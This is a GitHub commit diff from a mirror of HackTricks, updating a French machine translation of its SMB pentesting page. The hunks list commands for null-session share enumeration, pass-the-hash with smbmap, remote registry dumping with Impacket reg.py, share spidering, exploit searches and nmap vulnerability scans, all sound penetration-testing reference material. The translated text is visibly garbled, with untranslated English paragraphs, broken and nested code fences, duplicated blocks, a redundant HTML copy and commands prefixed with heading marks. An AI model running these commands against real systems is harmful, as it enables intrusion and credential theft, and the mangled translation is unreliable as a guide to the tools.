mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['network-services-pentesting/pentesting-smb.md'] to fr
This commit is contained in:
parent
a9aa7cb347
commit
cae0d0ee97
1 changed files with 42 additions and 30 deletions
|
@ -20,9 +20,9 @@
|
||||||
```
|
```
|
||||||
## Port 445
|
## Port 445
|
||||||
|
|
||||||
Alors que le port 139 est techniquement connu sous le nom de "NBT sur IP", le port 445 est "SMB sur IP". **SMB** signifie "Server Message Blocks". Server Message Block, dans le langage moderne, est également connu sous le nom de **Common Internet File System**. Le système fonctionne comme un protocole réseau de couche application principalement utilisé pour offrir un accès partagé aux fichiers, aux imprimantes, aux ports série et à d'autres types de communications entre les nœuds d'un réseau.
|
Alors que le port 139 est techniquement connu sous le nom de "NBT sur IP", le port 445 est "SMB sur IP". **SMB** signifie "Server Message Blocks". Server Message Block, dans le langage moderne, est également connu sous le nom de **Common Internet File System**. Le système fonctionne comme un protocole réseau de couche application principalement utilisé pour offrir un accès partagé à des fichiers, des imprimantes, des ports série et d'autres types de communications entre les nœuds d'un réseau.
|
||||||
|
|
||||||
Par exemple, sur Windows, SMB peut s'exécuter directement sur TCP/IP sans avoir besoin de NetBIOS sur TCP/IP. Comme vous l'avez souligné, cela utilisera le port 445. Sur d'autres systèmes, vous trouverez des services et des applications utilisant le port 139. Cela signifie que SMB fonctionne avec NetBIOS sur TCP/IP\*\*.\*\* (extrait d'[ici](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
Par exemple, sur Windows, SMB peut s'exécuter directement sur TCP/IP sans avoir besoin de NetBIOS sur TCP/IP. Cela utilisera, comme vous l'avez souligné, le port 445. Sur d'autres systèmes, vous trouverez des services et des applications utilisant le port 139. Cela signifie que SMB fonctionne avec NetBIOS sur TCP/IP\*\*.\*\* (extrait d'[ici](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||||
```
|
```
|
||||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||||
```
|
```
|
||||||
|
@ -37,7 +37,7 @@ Un serveur SMB peut fournir **des parties arbitraires de son système de fichier
|
||||||
|
|
||||||
Extrait du livre _**Network Security Assessment 3rd edition**_
|
Extrait du livre _**Network Security Assessment 3rd edition**_
|
||||||
|
|
||||||
Avec une session anonyme nulle, vous pouvez accéder au partage IPC$ et interagir avec les services exposés via des pipes nommés. L'utilitaire enum4linux dans Kali Linux est particulièrement utile ; avec lui, vous pouvez obtenir les informations suivantes :
|
Avec une session anonyme nulle, vous pouvez accéder au partage IPC$ et interagir avec les services exposés via des pipes nommés. L'utilitaire enum4linux dans Kali Linux est particulièrement utile ; avec celui-ci, vous pouvez obtenir les informations suivantes :
|
||||||
|
|
||||||
* Informations sur le système d'exploitation
|
* Informations sur le système d'exploitation
|
||||||
* Détails du domaine parent
|
* Détails du domaine parent
|
||||||
|
@ -47,7 +47,7 @@ Avec une session anonyme nulle, vous pouvez accéder au partage IPC$ et interagi
|
||||||
|
|
||||||
## Qu'est-ce que NTLM
|
## Qu'est-ce que NTLM
|
||||||
|
|
||||||
Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment cela fonctionne et comment en abuser, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment fonctionne ce protocole et comment en tirer parti** :
|
Si vous ne savez pas ce qu'est NTLM ou si vous souhaitez savoir comment cela fonctionne et comment en abuser, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment fonctionne ce protocole et comment en tirer parti** :
|
||||||
|
|
||||||
{% content-ref url="../windows-hardening/ntlm/" %}
|
{% content-ref url="../windows-hardening/ntlm/" %}
|
||||||
[ntlm](../windows-hardening/ntlm/)
|
[ntlm](../windows-hardening/ntlm/)
|
||||||
|
@ -99,31 +99,23 @@ Pour rechercher des exploits sur Exploit-DB, vous pouvez visiter leur site web
|
||||||
|
|
||||||
### **Metasploit Framework**
|
### **Metasploit Framework**
|
||||||
|
|
||||||
Metasploit Framework is a powerful penetration testing tool that includes a vast collection of exploits, payloads, and auxiliary modules. It provides a comprehensive platform for testing the security of network systems and applications.
|
Metasploit Framework is a powerful penetration testing tool that includes a vast collection of exploits, payloads, and auxiliary modules. It provides a command-line interface and a graphical user interface (GUI) for performing various penetration testing tasks.
|
||||||
|
|
||||||
Metasploit Framework est un puissant outil de test de pénétration qui comprend une vaste collection d'exploits, de charges utiles et de modules auxiliaires. Il offre une plateforme complète pour tester la sécurité des systèmes et des applications réseau.
|
Le framework Metasploit est un puissant outil de test de pénétration qui comprend une vaste collection d'exploits, de charges utiles et de modules auxiliaires. Il offre une interface en ligne de commande et une interface utilisateur graphique (GUI) pour effectuer diverses tâches de test de pénétration.
|
||||||
|
|
||||||
To search for exploits using Metasploit Framework, you can use the `search` command followed by your keywords. This will search the Metasploit database for exploits that match your search criteria.
|
To search for exploits in Metasploit Framework, you can use the `search` command followed by your keywords. This will display a list of exploits that match your search criteria. You can then use the `use` command to select a specific exploit and the `show options` command to view and configure the required options for the selected exploit.
|
||||||
|
|
||||||
Pour rechercher des exploits à l'aide de Metasploit Framework, vous pouvez utiliser la commande `search` suivie de vos mots-clés. Cela permettra de rechercher dans la base de données de Metasploit les exploits correspondant à vos critères de recherche.
|
Pour rechercher des exploits dans Metasploit Framework, vous pouvez utiliser la commande `search` suivie de vos mots-clés. Cela affichera une liste d'exploits correspondant à vos critères de recherche. Vous pouvez ensuite utiliser la commande `use` pour sélectionner un exploit spécifique et la commande `show options` pour afficher et configurer les options requises pour l'exploit sélectionné.
|
||||||
|
|
||||||
```plaintext
|
|
||||||
msf > search <keywords>
|
|
||||||
```
|
|
||||||
|
|
||||||
The search results will display the exploits that match your search criteria, along with relevant details such as the vulnerability description, affected software versions, and the exploit module name.
|
|
||||||
|
|
||||||
Les résultats de la recherche afficheront les exploits correspondant à vos critères de recherche, ainsi que des détails pertinents tels que la description de la vulnérabilité, les versions du logiciel concernées et le nom du module d'exploit.
|
|
||||||
|
|
||||||
### **Exploit Development**
|
### **Exploit Development**
|
||||||
|
|
||||||
In addition to searching for existing exploits, you can also develop your own exploits to target specific vulnerabilities. Exploit development involves identifying and understanding the vulnerability, analyzing the target system, and creating an exploit that can leverage the vulnerability to gain unauthorized access or perform other malicious actions.
|
In addition to searching for existing exploits, you can also develop your own exploits to target specific vulnerabilities. Exploit development involves identifying and understanding the vulnerability, analyzing the target software or service, and creating an exploit that can leverage the vulnerability to gain unauthorized access or perform other malicious actions.
|
||||||
|
|
||||||
En plus de rechercher des exploits existants, vous pouvez également développer vos propres exploits pour cibler des vulnérabilités spécifiques. Le développement d'exploits consiste à identifier et comprendre la vulnérabilité, analyser le système cible et créer un exploit qui peut exploiter la vulnérabilité pour obtenir un accès non autorisé ou effectuer d'autres actions malveillantes.
|
En plus de rechercher des exploits existants, vous pouvez également développer vos propres exploits pour cibler des vulnérabilités spécifiques. Le développement d'exploits consiste à identifier et comprendre la vulnérabilité, analyser le logiciel ou le service ciblé, et créer un exploit qui peut exploiter la vulnérabilité pour obtenir un accès non autorisé ou effectuer d'autres actions malveillantes.
|
||||||
|
|
||||||
Exploit development requires advanced knowledge of programming languages, system internals, and vulnerability analysis techniques. It is a complex and time-consuming process that requires careful testing and validation to ensure the exploit works as intended.
|
Exploit development requires a deep understanding of programming languages, software architecture, and vulnerability analysis techniques. It is a complex and advanced skill that requires extensive knowledge and experience in the field of cybersecurity.
|
||||||
|
|
||||||
Le développement d'exploits nécessite une connaissance avancée des langages de programmation, des systèmes internes et des techniques d'analyse de vulnérabilités. C'est un processus complexe et chronophage qui nécessite des tests et une validation minutieux pour s'assurer que l'exploit fonctionne comme prévu.
|
Le développement d'exploits nécessite une compréhension approfondie des langages de programmation, de l'architecture logicielle et des techniques d'analyse des vulnérabilités. C'est une compétence complexe et avancée qui nécessite une connaissance approfondie et une expérience dans le domaine de la cybersécurité.
|
||||||
```bash
|
```bash
|
||||||
msf> search type:exploit platform:windows target:2008 smb
|
msf> search type:exploit platform:windows target:2008 smb
|
||||||
searchsploit microsoft smb
|
searchsploit microsoft smb
|
||||||
|
@ -219,15 +211,15 @@ It is always recommended to look if you can access to anything, if you don't hav
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
```markdown
|
```markdown
|
||||||
smbclient --no-pass -L //<IP> # Utilisateur nul
|
## smbclient --no-pass -L //<IP> # Utilisateur nul
|
||||||
smbclient -U 'nom_utilisateur[%mot_de_passe]' -L [--pw-nt-hash] //<IP> # Si vous omettez le mot de passe, il sera demandé. Avec --pw-nt-hash, le mot de passe fourni est le hachage NT
|
smbclient -U 'nom_utilisateur[%mot_de_passe]' -L [--pw-nt-hash] //<IP> # Si vous omettez le mot de passe, il sera demandé. Avec --pw-nt-hash, le mot de passe fourni est le hachage NT
|
||||||
|
|
||||||
smbmap -H <IP> [-P <PORT>] # Utilisateur nul
|
## smbmap -H <IP> [-P <PORT>] # Utilisateur nul
|
||||||
smbmap -u "nom_utilisateur" -p "mot_de_passe" -H <IP> [-P <PORT>] # Identifiants
|
smbmap -u "nom_utilisateur" -p "mot_de_passe" -H <IP> [-P <PORT>] # Identifiants
|
||||||
smbmap -u "nom_utilisateur" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
|
smbmap -u "nom_utilisateur" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
|
||||||
smbmap -R -u "nom_utilisateur" -p "mot_de_passe" -H <IP> [-P <PORT>] # Liste récursive
|
smbmap -R -u "nom_utilisateur" -p "mot_de_passe" -H <IP> [-P <PORT>] # Liste récursive
|
||||||
|
|
||||||
crackmapexec smb <IP> -u '' -p '' --shares # Utilisateur nul
|
## crackmapexec smb <IP> -u '' -p '' --shares # Utilisateur nul
|
||||||
crackmapexec smb <IP> -u 'nom_utilisateur' -p 'mot_de_passe' --shares # Utilisateur invité
|
crackmapexec smb <IP> -u 'nom_utilisateur' -p 'mot_de_passe' --shares # Utilisateur invité
|
||||||
crackmapexec smb <IP> -u 'nom_utilisateur' -H '<HACHAGE>' --shares # Utilisateur invité
|
crackmapexec smb <IP> -u 'nom_utilisateur' -H '<HACHAGE>' --shares # Utilisateur invité
|
||||||
```
|
```
|
||||||
|
@ -300,11 +292,23 @@ examples
|
||||||
|
|
||||||
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||||
|
|
||||||
La commande `smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here` renvoie NT_STATUS_BAD_NETWORK_NAME.
|
Ce command permet de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage nommé 'im_clearly_not_here'. Cependant, la commande retourne l'erreur NT_STATUS_BAD_NETWORK_NAME, ce qui indique que le nom du partage est incorrect ou n'existe pas.
|
||||||
|
|
||||||
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||||
|
|
||||||
La commande `smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$` renvoie NT_STATUS_ACCESS_DENIED ou peut même vous donner une session.
|
Ce command permet également de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage ADMIN$. Cependant, la commande retourne l'erreur NT_STATUS_ACCESS_DENIED, ce qui indique que nous n'avons pas les autorisations nécessaires pour accéder à ce partage. Cependant, dans certains cas, cette commande peut donner accès à une session sur le partage ADMIN$.
|
||||||
|
```
|
||||||
|
|
||||||
|
```html
|
||||||
|
<h2>Pentesting SMB</h2>
|
||||||
|
|
||||||
|
<h3>smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME</h3>
|
||||||
|
|
||||||
|
<p>Ce command permet de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage nommé 'im_clearly_not_here'. Cependant, la commande retourne l'erreur NT_STATUS_BAD_NETWORK_NAME, ce qui indique que le nom du partage est incorrect ou n'existe pas.</p>
|
||||||
|
|
||||||
|
<h3>smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session</h3>
|
||||||
|
|
||||||
|
<p>Ce command permet également de se connecter à un partage SMB sur l'adresse IP 192.168.0.24 avec l'utilisateur anonyme ('%') et sans mot de passe ('-N'). Dans cet exemple, nous essayons de nous connecter au partage ADMIN$. Cependant, la commande retourne l'erreur NT_STATUS_ACCESS_DENIED, ce qui indique que nous n'avons pas les autorisations nécessaires pour accéder à ce partage. Cependant, dans certains cas, cette commande peut donner accès à une session sur le partage ADMIN$.</p>
|
||||||
```
|
```
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -378,7 +382,7 @@ Assurez-vous d'exécuter cette commande avec les privilèges appropriés et de r
|
||||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||||
```
|
```
|
||||||
|
|
||||||
Ce commandement exécute l'outil `crackmapexec` en utilisant le protocole SMB pour scanner l'adresse IP `10.10.10.10`. Les options `-u` et `-p` spécifient le nom d'utilisateur et le mot de passe respectivement. L'option `-M` indique l'utilisation du module `spider_plus`. Enfin, l'option `--share` spécifie le partage SMB à cibler, qui est "Department Shares" dans ce cas.
|
Ce commandement exécute l'outil `crackmapexec` en utilisant le protocole SMB pour scanner l'adresse IP `10.10.10.10`. Les options `-u` et `-p` spécifient le nom d'utilisateur et le mot de passe respectivement. L'option `-M` indique l'utilisation du module `spider_plus`. Enfin, l'option `--share` spécifie le partage nommé "Department Shares".
|
||||||
```
|
```
|
||||||
|
|
||||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
||||||
|
@ -393,11 +397,19 @@ You should **check** the **scripts** inside of it as you might **find** sensitiv
|
||||||
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
```
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||||
```
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||||
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
## Post Exploitation
|
## Post Exploitation
|
||||||
|
|
||||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||||
|
@ -601,9 +613,9 @@ Similar to SMB Trapping, planting malicious files onto a target system (via SMB,
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
|
|
||||||
```
|
```
|
||||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
Protocol_Name: SMB #Abréviation du protocole s'il y en a une.
|
||||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
Port_Number: 137,138,139 #Séparés par des virgules s'il y en a plusieurs.
|
||||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
Protocol_Description: Server Message Block #Abréviation du protocole écrite en toutes lettres
|
||||||
|
|
||||||
Entry_1:
|
Entry_1:
|
||||||
Name: Notes
|
Name: Notes
|
||||||
|
@ -654,7 +666,7 @@ Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms0
|
||||||
Entry_4:
|
Entry_4:
|
||||||
Name: Nmap Smb Scan 2
|
Name: Nmap Smb Scan 2
|
||||||
Description: Analyse de vulnérabilité SMB avec Nmap (Moins spécifique)
|
Description: Analyse de vulnérabilité SMB avec Nmap (Moins spécifique)
|
||||||
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
|
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||||
|
|
||||||
Entry_5:
|
Entry_5:
|
||||||
Name: Hydra Brute Force
|
Name: Hydra Brute Force
|
||||||
|
|
Loading…
Reference in a new issue